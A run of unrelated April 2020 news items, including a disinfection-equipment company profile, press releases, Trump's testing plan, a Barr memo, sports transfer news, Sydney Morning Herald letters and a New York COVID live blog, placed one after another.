supplying UV and ozone based disinfection systems to all hospitals and hotels since last four decades, but with the emerging need for best sanitary standard, we have retooled our production line into designing and manufacturing disinfection solutions for gyms, malls, offices, houses/apartments, and a whole range of public and private spaces. The product comes in various sizes and are designed for various applications including the very necessary disinfection of all products like grocery, food deliveries and personal belongings like mobile phone, watch, pen etc. The plant which is spread over 3, 00,000 sq m has the capacity to produce 1000 pieces in a week is buzzing with activities these days. He is quick to add, The factory is working 24/7 in order to meet the demand created by the coronavirus pandemic. We are bringing specially designed UV sterilization and disinfection equipment to hospitals in order to ensure the safety of patients doctors nurses and attenders as well as visitors all over India. With social distancing being the need of the hour, our disinfection equipment will allow patients and medical staff alike to feel safe from infection during their visit to the hospital. With utmost priority for the hotels and hospitals to re-invent hygiene protocols, the company has taken concrete steps in designing disinfected solution for fabric and linen. Sushil Eashwaran elaborates, Hospitals use large number of medical gear, clothing and bedcovers, pillow covers and linen that need constant washing, the Silverstream Steri Pure Fabric sterilisation and disinfection system can be used to disinfect all fabrics and medical gear before they have been washed and dried and pressed. The Steri Pure can also be used for post sterlisation and storage of the fabric and medical gear after pressing. This system uses a high concentrated ozone gas to disinfect the fabric. The tumble system provided in it ensures 360 degree rotation and gas penetration through the fabric. This system ensures a near 100% of pathogens are killed including the coronavirus. Keeping the future in mind our disinfection equipment will allow clients to feel safe from infection during their visit to the gym. He says, We have associated with Afton a market leader in gym equipment to bring specially designed UV, gaseous and liquified ozone sterilisation and disinfection equipment to gyms in order to ensure the safety of fitness enthusiasts all over India. The equipment has been specifically designed to deal with the large number of clients that visit the gym on a daily basis in order to exude maximum precaution due to the global pandemic. Countless people come in contact with each others bodily fluids whilst in a gym which makes it a necessity to ensure that the best sanitary standards are implemented. Besides hospitals and gyms the same can be used in places such as airports, hotels, apartments, houses, offices, clubs, mall, factories etc. The products are priced at as low as Rs 15, 000. The groups pan India presence include, Bengaluru, Delhi, Mumbai, and Kolkata, with their head office in Chennai. Uncertainty looms over the annual Kailash Mansarovar yatra after officials in Uttarakhand said they might not have enough time to prepare for the pilgrimage. The ministry of external affairs organises the pilgrimage to Mount Kailash in Tibet each year through two different routes -- Lipulekh Pass in Uttarakhand and Nathu La Pass in Sikkim. The north-eastern state announced last week that it will not host the pilgrimage this year due to the Covid-19 outbreak. Kumaun Mandal Vikas Nigam (KMVM) officials, who take care of the yatra route through Uttarakhand, said they might not have enough time to remove snow deposits from the pilgrimage route. With rain and snowfall continuing intermittently on many stretches of the yatra route since December, it could take more than a fortnight time to remove the snow deposits, said a KMVN official said on condition of anonymity. Another official of the nodal agency said they still havent been informed by the central government about whether the yatra is scheduled for this year or not. No agency involved in preparation of the yatra had been given any sort of instructions by the Union ministry this year. So there is uncertainty whether the yatra will be held this year or not, the official said, requesting anonymity. "This investment into waterborne coatings production is vital to the current and future growth of Axalta. Maintaining a leading position in the global waterborne coatings market is critical for Axalta and one that we intend to invest in for our long-term success," said Steven Markevich, Executive Vice President and President, Transportation Coatings and Greater China. "As the Chinese market for automobiles and industrial goods continues to grow, evolve, and mature, we believe this investment will place us in an ideal position to meet growing demand among our customers for sustainable products and innovative applications across southern and eastern China. This new milestone will enable us to stay at the forefront of delivering the latest generation of waterborne coating products and positions us for future technology advances and customer requirements." China has the world's largest automotive market and second-largest car parc, which stood at a total vehicle population of 348 million at the end of 20191. Car ownership per thousand people in China just surpassed global averages, demonstrating ample potential for future growth in China's automotive industry. China's coatings market in particular is being advanced by the government and the industry, which envisions a future where only businesses with environmentally responsible products and production can survive and grow. "As the industry continues upgrading to sustainable products, the waterborne coatings market will likewise continue to grow in China," said Willie Wu, President of Axalta Greater China. "The next generation of world-leading waterborne coatings technology that will be produced at our expanded facility is designed to benefit the industry and environment by creating superior appearance, lowering energy consumption, and reducing carbon dioxide and volatile organic compound (VOC) emissions. Our investment in waterborne coatings production will embody the principles of sustainable manufacturing, while ensuring we continue to meet both our efficiency and profitability goals. This win-win scenario will be a long-term competitive edge that will benefit our Company and our customers." The expanded waterborne coatings plant will combine the best practices adopted at Axalta's other global plants with China's local R&D advantages, while also implementing a unique design process. This includes automated production technology to maximize productivity, reduce energy consumption, and minimize environmental impacts. Sun Lianying, Chairman of the China National Coating Industry Association, added, "China's automotive and industrial coatings industries are rapidly upgrading their manufacturing processes to continue delivering high-quality products, while becoming more sustainable. With its Jiading waterborne plant, Axalta set the gold standard in the industry in 2015, and this expansion is further proof of its commitment to the sustainable development of the Chinese market and the industries it serves." Axalta opened its Shanghai Jiading waterborne plant in March 2015. Since the company's journey in China began in 1984, it has built liquid coating plants in Jiading, Shanghai, and Changchun, Jilin, as well as a powder coating plant in Qingpu, Shanghai, and four refinish training centers. Axalta opened its Asia Pacific Technology Center in Shanghai in 2017. About Axalta Axalta is a leading global company focused solely on coatings and providing customers with innovative, colorful, beautiful and sustainable solutions. From light vehicles, commercial vehicles and refinish applications to electric motors, buildings, pipelines and other industrial applications, our coatings are designed to prevent corrosion, increase productivity and enable the materials we coat to last longer. With more than 150 years of experience in the coatings industry, the approximately 14,000 people of Axalta continue to find ways to serve our more than 100,000 customers in 130 countries better every day with the finest coatings, application systems and technology. For more information, visit axalta.com and follow us @Axalta on Twitter and on LinkedIn . Source: China's Ministry of Public Security Source: https://www.coatingsworld.com/issues/2019-04-01/view_china-reports/china-coatings-market-keeps-upgrading-in-2019/ Contact Jessica Iben O: +1-215-255-7998 M: +1-267-398-8163 [email protected] SOURCE Axalta Coating Systems Ltd. WASHINGTON (dpa-AFX) - President Donald Trump on Monday announced a strategy to expand coronavirus testing facilities in the United States, which the White House described as a decisive step to ensure States have the testing system required to reopen the nation. The Trump Administration released its blueprint for State testing plans and rapid response programs as a follow up of the 'Opening Up America Again' guidelines that Trump released on April 16. It was developed with the support of Centers for Disease Control and Prevention and the Food and Drug Administration. To meet the country's testing needs, the blueprint describes a partnership between Federal, State, local, and tribal governments, and the private sector. At a routine White House news conference on Monday, Trump said, 'We are continuing to rapidly expand our capacity and confident that we have enough testing to begin reopening'. 'Today we're releasing additional guidance on testing to inform the states as they develop their plans for a phased and very safe reopening. Our blueprint describes how states should unlock their full capacity, expand the number of testing platforms, establish monitoring systems to detect local outbreaks, and conduct contact tracing,' he added. At the briefing, major retailers including Walmart Inc. and CVS Health Corp. announced that they would open hundreds of new sites to provide tests to diagnose coronavirus infection. Many companies announced that they will be expanding their testing capabilities to more states. Earlier, Trump chaired a meeting of the top executives of the nation's largest retailers, including Walmart, Walgreens, CVS, Rite Aid, and Kroger. They were joined by leaders of top medical diagnostics companies and suppliers such as Thermo Fisher, LabCorp, Quest, U.S. Cotton, and the American Clinical Laboratory Association. Trump announced that testing for Americans is accelerating at retail locations across the country. 'There are currently 73 retail sites in 25 states, and we're increasing it very substantially'. Trump claimed that the U.S. Government launched the most ambitious testing effort on Earth. 'The United States has now conducted more than 5.4 million tests - nearly double the number tested in any other country'. He told reporters that an average of more than 200,000 tests was conducted per day since last Wednesday. This includes a 122 percent testing increase in Michigan and 124 percent increase in Maryland. A fact sheet issued by the White House says that the Trump Administration is testing more Americans per capita than most other major countries. The Food and Drug Administration (FDA) has issued 70 emergency authorizations for new tests, including 8 for serological tests. Federal agencies, including the Department of Health and Human Services (HHS) and the Federal Emergency Management Agency (FEMA), have surged millions of new tests and supplies to hospitals, the Indian Health Service, and other testing locations across the Nation. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de Leigh Ann Blunt, a nationally recognized professor in the occupational safety and health field and member of the American Society of Safety Professionals (ASSP) for 14 years, has been named ASSPs 2020 William E. Tarrants Outstanding Safety Educator. Blunt, Ed.D., CSP, is a safety sciences professor and chair of the School of Geoscience, Physics and Safety at the University of Central Missouri (UCM), where she has been a faculty member since 1999. She has recruited occupational safety students for two decades by meeting with prospective students and their families, attending career fairs and presenting at regional and national conferences. Blunt has helped many safety sciences students find internships, co-ops and full-time jobs. Under Blunts leadership as department chair, the number of declared majors has more than doubled and the safety program has grown from 125 students to 425 students. Each year, ASSP honors an occupational safety and health professional who demonstrates outstanding achievement in safety education. These top instructors help students reach their full potential and become results producing safety professionals. The award is named after Dr. William E. Tarrants, a pioneer in safety education who was an ASSP Fellow and president (1977-78). Source: ASSP Topics Missouri The man arrested in connection with the murder of two sadhus inside a temple in Uttar Pradeshs Bulandshahr district on Monday night has said there was no personal enmity with the victims, a senior official said on Tuesday. Police have arrested Murari alias Raju in connection with the murder of Jagdish or Rangidas, 55, and his 46-year-old disciple Sher Singh. Officials said Raju allegedly had an altercation with the sadhus over stealing their chimta or tong. The accused claimed during interrogation that it was the will of God meaning there was no personal enmity, a senior government official said while speaking to reporters. When asked how did he kill them, he said he ate bhang and then came into the temple and attacked the sadhus with lathis (wooden rods) lying there, he said. Watch: 2 sadhus murdered in Bulandshahr; Priyanka Gandhi calls for fair probe The official said the issue of stolen tongs is being explored as a cause behind the murders. Santosh Singh, Bulandshahrs senior superintendent of police, had said earlier that Raju had a fight with the sadhus two days ago, who had charged him with stealing their chimta. Villagers, he said, saw Raju going out of the village with a sword and was searched on the basis of that information. He was found in a highly intoxicated and half-naked state two kilometres from the village, Singh said. SHARE THIS ARTICLE ON Jagran Prakashan announced that its board approved raising Rs 150 crore by issuing non-convertible debentures on private placement basis. Jagran Prakashan's board approved allotment of 1,500 rated, secured, senior, listed, redeemable, non-convertible debentures (NCDs) with face value of Rs 10 lakh each, at par, aggregating to Rs 150 crore on private placement basis. The announcement was made after market hours yesterday, 27 April 2020. Jagran Prakashan's consolidated net profit rose 13.98% to Rs 75.90 crore on a 9.91% decline in net sales to Rs 552.98 crore in Q3 December 2019 over Q3 December 2018. Jagran Prakashan is a media and communications company with interests in print, digital, radio, out-of-home (OOH) and activation. The company is engaged in the business of printing and publication of newspapers and periodicals, business of radio broadcast and all other related activities through its radio channels operating under brand name Radio City 91.1 frequency modulation (FM) in India. Shares of Jagran Prakashan declined 2.15% to Rs 43.25 on BSE. The scrip hovered in the range of Rs 43 to Rs 45.15 so far. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Dayot Upamecano has rejected the chance to move to the Premier League with the Red Bull Leipzig defender reportedly agreeing a move to Bundesliga rivals Bayern Munich this summer. The French centre-back has a 52million buyout clause at Leipzig, who are keen to sell him this year as opposed to losing him for free upon the expiration of his contract next summer. Both Arsenal and Manchester United are keeping tabs on the defender but according to German outlet Bild, the Bundesliga champions have won the race for the 21-year-old's signature. Dayot Upamecano will reportedly move from RB Leipzig to Bayern Munich this summer The 21-year-old defender looks set to link up with Serge Gnabry (right) at the Allianz Arena DAYOT UPAMECANO THIS SEASON Appearances: 29 Starts: 29 Goals: 0 Assists: 1 Yellow cards: 8 Advertisement The report details that a deal is agreed between the player and Bayern, though a set fee between the clubs is yet to be finalised. Due to the current coronavirus pandemic, Bayern are not yet willing to pay his 52m release clause, as they wait to see the financial effect the crisis has had on clubs. Mikel Arteta is believed to be in the market for a centre-back this summer, while Ole Gunnar Solskjaer is also keeping an eye on Upamecano as a partner for captain Harry Maguire at Manchester United. The France Under-21 international has made 29 appearances - all of which were starts - for Leipzig this season. Arsenal manager Mikel Arteta is eyeing up a centre-back to shore up his defence this summer Ole Gunnar Solskjaer is keen for a new acquisition to partner Harry Maguire in defence He has played in six of Leipzig's eight Champions League games including the last-16 second-leg victory against Tottenham Hotspur last month. Upamecano has played a key role in Leipzig's high-flying season, with the side in the quarter-finals of the Champions League and five points off leaders Bayern in the German top flight. The Frenchman signed for Leipzig from sister club RB Salzburg in the summer of 2017. Clubs in Germany have resumed training with the Bundesliga set to restart on May 9 behind closed doors. Arsenal also have resumed training as of Monday, but with strict coronavirus isolation rules still in place. WASHINGTON - Attorney General William Barr on Monday directed federal prosecutors nationwide to "be on the lookout" for state and local coronavirus-related restrictions that might run afoul of the Constitution and to pursue court action, if necessary. In two-page memo to U.S. attorneys across the country, Barr wrote that the measures state and local government officials had taken "have been necessary in order to stop the spread of a deadly disease," but even in times of emergency, the Constitution could not be discounted entirely. "Now, I am directing each of our United States Attorneys to also be on the lookout for state and local directives that could be violating the constitutional rights and civil liberties of individual citizens," Barr wrote, adding later, "If a state or local ordinance crosses the line from an appropriate exercise of authority to stop the spread of COVID-19 into an overbearing infringement of constitutional and statutory protections, the Department of Justice may have an obligation to address that overreach in federal court." Many states and localities have commanded residents to stay at home, except for essential trips for food and other supplies, and issued other directives meant to stem the spread of covid-19, the potentially fatal respiratory disease caused by coronavirus. Barr's memo did not cite specific policies he found objectionable. Justice Department officials have said in recent weeks that Barr is not looking to roll back reasonable restrictions and force the opening of the country, but rather to encourage officials to carefully weigh the necessity of what they are doing. President Donald Trump has pushed for a rapid reopening of the country - at times unnerving health experts, who fear a rushed resumption of normal life will only lead to more death. He recently tweeted in apparent encouragement of people in Minnesota, Michigan and Virginia protesting those states' coronavirus-related restrictions. But Trump has also publicly disagreed with Georgia's recent decision to allow certain businesses to reopen. "Many policies that would be unthinkable in regular times have become commonplace in recent weeks, and we do not want to unduly interfere with the important efforts of state and local officials to protect the public," Barr wrote in the memo. "But the Constitution is not suspended in times of crisis. We must therefore be vigilant to ensure its protections are preserved, at the same time that the public is protected." Barr wrote that Eric Dreiband, the Justice Department's assistant attorney general for civil rights, and Matthew Schneider, the U.S. attorney for the Eastern District of Michigan, would oversee the effort. He compared the directive to a similar decree he issued telling prosecutors to prioritize cases of those trying to profit from the pandemic. That memo sparked a significant push among U.S. attorneys to bring coronavirus-related prosecutions. Barr has previously been outspoken about his wariness of aggressive restrictions to prevent the spread of coronavirus. He told Fox News earlier this month that he considered some of the measures "draconian" and that he would be "keeping a careful eye on" the situation - particularly as April turned to May, and the federal government updated its social distancing guidelines. "When this period of time, at the end of April, expires, I think we have to allow people to adapt more than we have, and not just tell people to go home and hide under their bed, but allow them to use other ways - social distancing and other means - to protect themselves," Barr said. Barr repeated some of those sentiments in a more recent interview with conservative radio host Hugh Hewitt, saying that "the idea that you have to stay in your house is disturbingly close to house arrest" and cryptically suggesting the federal government might "have to address" cases in which state governors impinge on civil liberties. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. But in both instances, Barr stressed that states have the authority to restrict Americans' constitutional rights in cases of emergency. And in the more recent interview with Hewitt, he said the federal government was wisely deferring to state leaders. "That can be a messy business, but at the end of the day, the better approach than trying to dictate everything from Washington," Barr said. Barr said the Justice Department has sought to "jawbone" some local officials who have exceeded their authority, but so far it has intervened in only a single lawsuit over coronavirus restrictions, appearing to back a Greenville, Mississippi, church which had sued over the city's efforts to shut down drive-in religious services. Even in that instance, the department did not unequivocally support Temple Baptist Church in its legal statement of interest, though it said the circumstances the church described "suggest that the city singled out churches for distinctive treatment," which would be unconstitutional. The department also stressed in its filing that following state and local restrictions was "best path to swiftly ending COVID-19's profound disruptions to our national life and resuming the normal economic life of our country" was to follow state and federal guidance. The city ultimately backed down in the suit. Press Release 28 April 2020 The Secretary-General of the World Tourism Organization (UNWTO) was received today by H.M. King Felipe VI of Spain to assess how the COVID-19 pandemic is affecting the tourism sector both nationally and internationally. Advertisements The Spanish Head of State was briefed on the global response being led by the UNWTO at the audience, which acknowledged the importance of the tourism sector for economic and social recovery in the face of the pandemic. During the audience, UNWTO Secretary-General Zurab Pololikashvili stressed the urgency of mustering a coordinated political response at the international level, as well as a real commitment to support tourism, a sector that accounts for 10% of jobs worldwide. The COVID-19 crisis has coincided with the beginning of the Decade of Action, the countdown to the achievement of the 17 Goals deriving from the 2030 Agenda for Sustainable Development. Tourism, in particular, has demonstrated its important role in sustainable development, "and that is why it must be part of relief programmes and actions, ensuring that no one is left behind", said Pololikashvili. Last January, Pololikashvili presented to the King the Madrid Declaration on Tourism in the 21st Century. This Declaration, the Secretary-General said, "is now more relevant than ever because it emphasizes the resilience of tourism in the most difficult situations". COVID-19 and tourism According to the UNWTO's figures, tourism accounts for 12% of the GDP of Spain, which in 2019 received nearly 84 million international tourists, whose expenditure amounted to 80 billion US dollars. In 2018, the country was the world's number two destination in terms of both tourism arrivals and receipts. Today, tourism is among the hardest hit sectors due to COVID-19 and its consequences. The UNWTO estimates that international tourist arrivals worldwide this year could fall by as much as 30%, with a corresponding loss of international tourism receipts of up to 450 billion US dollars. At the same time, the UNWTO recalls that tourism has been a reliable driver of recovery in the wake of past crises, generating wide-ranging benefits that have transcended the sector, reflecting its broad-based economic value chain and deep social footprint. Support for the UNWTO The Secretary-General expressed his gratitude for the support given to the mandate of the UNWTO, the only United Nations specialized agency headquartered in Spain. The pandemic "is a challenge for Spain and the rest of the world, but far from defeating us, it will make us stronger as a global society," he concluded. Immediate Action is needed from the U.S. and allies New York,New York, April 27, 2020 (GLOBE NEWSWIRE) -- After the terrorist attacks on March 25, 2020 in Har Rai Sahib Kabul Gurdwara, the Sikh Diaspora moved swiftly to condemn the persons, organizations and governments responsible. UNITED SIKHS immediately asked the United States to take action and protect religious freedoms. Within moments of the cowardly attacks against women and children;UNITED SIKHS rallied support from the international community, the U.S. Administration, Afghanistan authorities and Sikh Afghans on the ground to ensure that these attacks do not happen again. ISIS has taken responsibility for multi-day terrorist shootings that left more than 50 people dead. On March 28th, after back to back days of terrorist attacks directed at the Sikh community; Afghanistan immediately issued by decree a 10-day ultimatum for Sikhs to leave the country. The choices given were to convert, flee the country or face further attacks until all Sikhs are dead or gone. These threats are being taken seriously by UNITED SIKHS and have deemed the decree or fatwa as an affront to the Sikh Nation. UNITED SIKHS strongly asserts that the Islamic state attacks that took place in retaliation to the Feb. 2020 US/NATO/Coalition - Taliban agreement, the March military withdrawal and the withholding of aid to Afghanistan contributed to this violent and deadly outburst. UNITED SIKHS started their campaign in the U.S. with the State Department and the American Sikh Caucus Committee to bring the Afghan Sikhs and Hindus to a safe haven. Wanda Sanchez, Chief Legal Counsel and Acting Legal Director said, "President Trumps commitment and resolve to protect religious freedoms around the world is at this moment being tested. Sikhs, Hindus and other ethno-religious and religious groups, who during the past 18 years were protected by the United States, NATOs military and Coalition forces. That presence of stability has now come under terrorist attacks in the area after the February 2020 agreement with the Taliban. The agreement should now rightfully include protections for these minorities who were supporters during the occupation. Those protections should include granting refugee status and political asylum. The protections should also not be undermined by the administration's internal, protective, immigration agenda. Story continues The day after the first attack, UNITED SIKHS began working on obtaining security and safety for Sikhs in Afghanistan. UNITED SIKHS has partnered with the American Sikh Caucus Committee to move the issue of their safety and their migration forward. Harpreet Singh Sandhu, Executive Director, American Sikh Caucus said, "UNITED SIKHS was the first organization to reach out after the incident and we immediately reached out to the members of the Sikh Caucus. Our team quickly made contact with Congressmen , John Garamendi, Jim Acosta, Eliot Engel, House Foreign Affair, Senator Dick Durban and several international bodies of governance." Sandhu also added, "We are thankful to Congressman Jim Acosta and others we have personally asked to assist with this urgent issue." Gurvinder Singh, International Humanitarian Aid Director said, " Numerous discussions have taken place in which multiple options were discussed with the State Department by UNITED SIKHS . Sam Brownback, Ambassador on Religious Freedoms has been key in having a direct dialogue with India and Pakistan. We now call upon President Trump, to order an executive action to provide safe harbor to Sikh Afghans in the USA immediately. UNITED SIKHS is thankful to Ambassador Sam Brownback and the Afghanistan government in enhancing their immediate security. We hope the U.S. can keep the minority community safe from further attacks. The future for Afghan Sikhs is dim and changing daily. The wishes of the Afghan Sikhs and Hindus is towards India as a first choice because of extended families residing in India. If India cannot accommodate them, then Pakistan as an interim country to apply as refugees to Canada, UK and the United States. UNITED SIKHS, Executive Director Jagdeep Singh, reported, Humanitarian crises such as the one recently endured by Afghan Sikhs should not be mistaken as someone elses problem. Left unchecked in any country, these types of massacres manifest themselves in other parts of the world. UNITED SIKHS will continue to work with the United Nations, and other world governments and Sikhs in Afghanistan by providing necessary advocacy and humanitarian needs towards their resettlement in other countries. About UNITED SIKHS: UNITED SIKHS is a U.N. affiliated, international non-profit, non-governmental, humanitarian relief, human development and advocacy organization, aimed at empowering those in need, especially disadvantaged and minority communities across the world. UNITED SIKHS is registered: as a non-profit tax exempt organization pursuant to Section 501(c)(3) of the Internal Revenue Code in the USA; as a Registered Charity in England and Wales under the Charities Act 1993, Charity Number 111 2055; registered in Australia as a not for profit NGO (ABN 24 317 847 103); and is a registered NGO in Belgium; as a non-profit organization in Canada; under the Societies Registration Act 1860 in Panjab and as a tax exempt organisation under section 80G of the Income Tax Act 1961; under the French Association Law 1901; under the Societies Registration Act 1860 in Khyber Pakhtoonkhwa, Pakistan; as a registered society under the Registrar of Societies in Malaysia (registered as UNITED SIKHS Malaysia Humanitarian Aid Organisation- Regn No: PPM-015-14-06042015); and an NGO pending registration in the Rep of Ireland.: Sandra Levy UNITED SIKHS 210-439-5951 Sandra.Levy@unitedsikhs.org Ambassador Cheng suggests Australia's anti-Chinese rhetoric "is a kind of teaming up with those forces in Washington". I think he's right. Trump is the master of the blame game. But our politicians, notably Marise Payne, seem to be intent on going down the same path in vehemently pushing for an international inquiry and airing anti-Chinese comments. Time enough for inquiries when all this is over. In the meantime, let's concentrate on dealing with the immediate problem: getting through this pandemic. Chris Danckwerts, Turramurra Why must teachers face risk alone? Apparently, children are not a source of risk from coronavirus. However, schools are full of adults too: teachers and parents. So if it's safe for teachers to return to work, then why isn't it safe for everyone to return to work ("NSW students to be back at school full-time by the end of term two", smh.com.au, April 28 )? This is just more inconsistent and confusing messaging from the government. Are they playing populist politics, trying to gain support from the public by sacrificing the safety of teachers? Brenton White, Mosman Thanks, David Crowe, for your insight (''Students at risk of losing weeks of learning from going online'', April 27). This year's HSC students are in a much better place than the HSC group of 2023, those in year 9 this year. As research demonstrates, year 9 is the year where student disengagement increases as does their desire to find their own person. This challenges both parents and teachers and is not conducive to successful online learning at home. Research also shows how important obtaining the HSC is on health, wealth and future generations. Yet these students will be some of the last to return under a year 12 and kindergarten first model proposed. Linda van Dulst, Padstow I have always thought that the Prime Ministers insistence that schools were safe and social distancing was unnecessary was pure hubris without scientific or medical basis. I wonder if reports in the United Kingdom of a rare, serious syndrome in children linked to coronavirus infection could change his views (''Very worried': Britain issues alert as possible new coronavirus syndrome emerges in children'', smh.com.au, April 28). Rachel Fitzhardinge, Hyams Beach Efforts to get high school students back to the classroom are worthwhile but Id encourage another approach regarding this years HSC cohort (''Three reasons why year 12 should go back to school immediately'', April 27). Remote, self-directed learning, where possible, is a taste of university study conditions. At uni, theres a class you can attend if you want to, some books to read if you choose to, an essay to write at your own pace and a test at the end. No one is marking the roll, no one is watching over your shoulder, no one is holding your hand. Im a uni teacher and I see a lot of first-year students who havent learned the skills to get themselves through the course. Its a valuable life lesson to be resilient and resourceful and one that wont be wasted at uni or the workplace. Angus McLeod, Cremorne Cook damned by history Stan Grant provides an Aboriginal perspective on Captain Cook. How many of us knew that Cook shot an Aboriginal man as he was wading ashore, before he even set foot on the Australian continent (''The Captain James Cook I know'', April 28)? Cook may have been a brilliant navigator and explorer. He may have had unremarkable attitudes for his times. But he was at the vanguard of white invasion of Australia. The historical injustice done to Aboriginal Australians can never be put right. But maybe we can try, and maybe more Australians can learn and acknowledge the truth of history. Geoff Black, Caves Beach Thanks, Stan Grant; your view of history concurs with my own study. Cook shot an Aboriginal man as his boat entered Botany Bay. His gun was effectively the starting pistol in Britains race to the bottom as its quest for colonies reached a new low. To regard Cooks endeavour as benign is self-serving and disregards the massacres and incarcerations that followed, dispossessing Indigenous people of their lands and their livelihoods. Annette Johnson, Brighton Le Sands Expand housing plan If the state government plans to buy up unoccupied housing stock, why confine it to the Parramatta area ("State may buy up housing in stimulus plan", April 28)? Apartment blocks in Waterloo and suburbs surrounding Green Square have lain dormant for years. Healthcare workers in hospitals such as RPA and Prince of Wales have been unable to afford to buy or rent property close to their employment or accessible by public transport for shift work. Allocation of housing stock for healthcare workers should be mandated in any new development applications and included in the government's current proposal. Patricia Farrar, Concord Beaches belong to us all Why not replace the locals only sentiment emerging on our public beaches with the fair go (''Locals back in water as virus loosens jaws'', April 28)? We could keep the crowds down by asking those who have exercised on a beach in the last month to stay home for a while and let those who have stayed home have a turn. First 500 to arrive get in regardless of their postcode. The beaches belong to everyone. Melinda Harrington, Epping In the early days of COVID-19, the experts were unanimous in saying that any relaxation of social distancing rules would have to exclude the more vulnerable, including all older people, until a vaccine was found. As a 78-year-old grandmother, I've been scanning the information about the proposed rollbacks in various states with keen interest, and found no mention of any exclusions. Is that just an oversight that will be rectified (or not), or does it mean that they will, after all, be safe for us too? I hope for the latter, but fear that it's actually the former. Anne Ring, Coogee Admittedly I have no medical qualifications, nor do I understand the complexities of economics, but as someone with a modicum of common sense, surely there should be no easing of any restrictions for at least two to four weeks after the last known reported case of someone contracting the virus. And then only very gradually. Jo White, Lilyfield Realising super loss I am disappointed that it is recommended that people use their superannuation to support themselves due to loss of income (''Costello backs early super access'', 'April 28'). To benefit from superannuation one needs to build up a large balance by way of contributions and increases by way of returns on the balance. This is the compounding effect. Hence withdrawal of funds has a detrimental effect on your final balance. Time lost cannot be recovered. Further, due to the fall in the share and other markets, assets held by superannuation funds are at low values. In effect a paper loss. If these assets are sold you realise the loss and cannot recover from it. Barry OConnell, Toongabbie Apply common sense Illustration: Matt Golding Credit: Yes, Jim Willis, I too got the bad news that my six-year-old phone is too old to install COVIDSafe (Letters, April 28). Surely this is an unintended consequence and not one deliberately coded in to make me, and I suspect, many others face the inconvenient truth that its time to upgrade? Flora Devery, Lane Cove North Yep. Two mobiles here, neither will accept the app. One just a pre-paid but the one a new iPhone. So much for trying to assist with the virus tracking. Denis Suttling, Newport Beach Were not sure if the app will keep working when my iPhone is locked or other apps are in use (Confusion surrounds iPhones compatibility with COVIDSafe, April 28). Should I inject it with disinfectant and see if that helps? Adrian Connelly, Springwood Some correspondents, who are relying on the app to somehow help keep them safe, do not understand how it works. At least 15 minutes contact with someone else, at a distance of 1.5 metres, is required to trigger the application (How does the coronavirus app work?, April 28). Anyone who cares about their own health, let alone that of others, should always know exactly with whom they have had extended contact (15 minutes or more). People who cannot avoid prolonged close contact with others on public transport may possibly benefit from the app. The worst threats to public health in the last six weeks resulted largely from poor government decision making like the Ruby Princess or huge lines at Centrelink for days and days. All foreseeable, and all avoidable. An app may well have been useful on those occasions. For everyone else, continued common-sense and proper social distancing will be of far, far greater use than the app. Paul Parramore, Sawtell Unnecessary cruelty I really dont care if an unnamed department official says its unlikely Australias protection obligations would apply to the family (''Tamil family wins costs but remains in limbo'', April 28). I really do care about Australias obligations to humanity. Bring the Sri Lankan family home to Biloela immediately or we are all guilty of cruelty. Jim Croke, Stanmore It's a data. Or is it data? Difficult to keep track The word "data" comes from Latin. It means "things given" (Letters, April 28). In the language of Caesar and Cicero it would have been pronounced more or less to rhyme with "stutter". In Vulgar Latin, much later in the piece, the first a was lengthened and the pronunciation became "dahta" which in due course over the centuries gave us modern English "dayta". The prevalence of "dahta" in modern use results from 20th century ignorance, though, ironically enough, it recreates what ignorant people were doing 1500 years ago. Alex Jones, Kirribilli The word is pronounced "dayta". This is not an opinion, or optional, it is just a fact. Data is the plural of the word datum. No-one pronounces that as "dahtum". Ian Reid, Chatswood For those lamenting the American pronunciation of data, listen how the word defence is now pronounced. Australians are now transitioning to the use of the American vernacular, leaving our British roots behind. Sixty-four years of television and movies have had a huge influence. Trevor Watson, Allambie Heights The Times Union has lifted the paywall on this developing coverage to provide critical information to our community. To support our journalists work, consider a digital subscription. Total COVID-19 cases: 295,106 in New York state, including 22,912 deaths. 844,994 total tested. 1,012,399 in the U.S., including 58,348 deaths. 115,648 recovered. 5,795,728 total tested. 3,114,659 worldwide, including 216,989 deaths. 925,921 recovered. Note: The figures include presumed COVID-19 deaths. The number of positive confirmed cases is cumulative and includes people who have recovered as well as those who died. Additional resources: Where to get tested for COVID-19. Here are the latest cancellations and postponements. For a detailed map, check out the Times Unions New York Coronavirus Tracker To get regular updates on our coverage, sign up for our coronavirus newsletter. Share stories about people helping others in our Facebook Group. Tuesday's latest updates: 4:06 p.m. Rensselaer County reports deaths reach 16 Officials said three more county residents, including two at the Diamond Hill facility in Schaghticoke, have died. The third death occurred in Nassau. The county total of residents who have died from COVID-19 is at 16. The county has 11 new confirmed cases of COVID-19. This brings the total of confirmed cases to 273. The county has 14 residents in the hospital, including three in ICU. There are now approximately 650 residents in monitor quarantine. The county added four more cases cleared for recovery, bringing the total of cleared cases to 150. 2:40 p.m. Two more Diamond Hill residents die Rensselaer County said they recorded 11 more COVID-19 cases on Tuesday and that two more residents from Diamond Hill nursing home died of the disease. That brings the county's death total to 15 with 273 total cases. 2:30 p.m. 10th Warren County resident dies of COVID-19 The county said the victim was a nursing home resident who lived in the southern part of the county. No other information on the victim was released. 10 a.m.: Local labor unions to honor workers on the front lines of the pandemic Local labor unions will air a video tribute to workers who died on the job in 2019 and will pay respects to the workers on the front lines of the COVID-19 pandemic. The video, in recognition of Workers Memorial Day, was produced by the Capital District Area Labor Federation, AFL-CIO, Albany County Central Federation of Labor and the Northeast NY Coalition for Occupational Safety and Health (NENYCOSH). NENYCOSH Director Rossana Coto-Batres said in a statement: Every year, more than 5,000 workers in the U.S. die from workplace fatalities, with 20-30 of those deaths happening here in the Capital District. We know that number is going to be even higher this year, with all the workers who are getting sick and dying from COVID-19 because of an exposure at their job. As the pandemic continues, we want to ensure workers are given all the protections they need so they can all return home safely to their families. Find the video on YouTube. ___ 9:07 a.m.: Vicarious Visions parent company donates $250K to Albany Med Activision Blizzard says the money will help the medical center use convalescent blood plasma therapy to experimentally treat critically ill patients. ___ 6:40 a.m.: Where to get tested in the Capital Region The number of testing sites for the general public is expanding nearly every day. A roundup of the region's various testing sites, hours of operation, and instructions for obtaining an appointment can be found at this free link. ___ 6:33 a.m.: State consultant's report sees dire economic effects of pandemic ALBANY A consultant for the state is predicting that the recession caused by the coronavirus pandemic will be deeper and the recovery longer than the 2008 Great Recession and that which followed the 9/11 terror attacks in 